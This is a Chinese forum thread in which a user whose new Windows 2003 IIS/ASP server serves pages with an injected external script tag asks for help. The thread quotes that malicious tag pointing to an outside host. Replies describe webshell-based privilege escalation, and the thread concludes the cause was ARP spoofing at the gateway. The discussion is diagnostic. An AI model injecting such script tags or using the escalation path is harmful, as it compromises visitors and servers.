刚做好的2003服务器中毒了，要被老板打了，，急~~~~~~~~~~~~~~~~~~

[bdsw51200]

事件类型: 审核成功
事件来源: Security
事件种类: 详细追踪
事件 ID: 592
日期: 2007-5-19
事件: 4:13:02
用户: NT AUTHORITY\SYSTEM
计算机: RQFDF-AQ6SSO9SP
描述:
已经创建新的过程:
新的进程 ID: 3196
映像文件名: C:\WINDOWS\system32\csrss.exe
创建者进程 ID: 288
用户名: RQFDF-AQ6SSO9SP$
域: WORKGROUP
登录 ID: (0x0,0x3E7)


事件类型: 审核成功
事件来源: Security
事件种类: 详细追踪
事件 ID: 592
日期: 2007-5-19
事件: 4:13:02
用户: NT AUTHORITY\SYSTEM
计算机: RQFDF-AQ6SSO9SP
描述:
已经创建新的过程:
新的进程 ID: 3016
映像文件名: C:\WINDOWS\system32\winlogon.exe
创建者进程 ID: 288
用户名: RQFDF-AQ6SSO9SP$
域: WORKGROUP
登录 ID: (0x0,0x3E7)
RADFD-AQ6SS09SP IIS来宾帐户




IIS的服务骑，ASP系统，在访问asp网页的时候会被自动加载源代码<script src=http://h.baidu5.cn/s.js></script> ，查了代码却没有这个，很郁闷。。昨天就这样。。。昨晚新做了一个系统，， 安全就发现上面两个有点问题。。
端口开了21，80，3389
怀疑是ARP攻击 有没有好的ARP软件？

[myangelonline]

殺毒.............

[andyzgx1]

为什么开3389？？你的应该是3389攻击

[bdsw51200]

3389也能发生这样的情况？？

[bdsw51200]

先帮我处理一下IIS的病毒了 谢谢大家。。。急死我了

[代码跳动]

2003 如果开放了iis,没做设置情况下, 任意有aspshell的都可以获得系统权限.

上传asp木马, 上传cmd.exe 可以执行任意命令,获取系统权限!建立帐号,开放3389自然也是其中之列.

[代码跳动]

如果你的服务器没有开放ftp,或者说你的服务器所有网站上没有上传等获得webshell的漏洞.排除了外部有webshell的可能性. 那就从自己机器上找找原因了.

[空心兜兜]

帮顶！

[smallcrocodile]

郁闷

[zzxiaoma]

只能用杀毒软件了

[bdsw51200]

查出问题 ，，，，机房网关中毒 都和他们说了是ARP 他吗 还说不是

[yolanda520]

用arp -all命令看看，叫机房去查网关网卡的物理地址 就能确认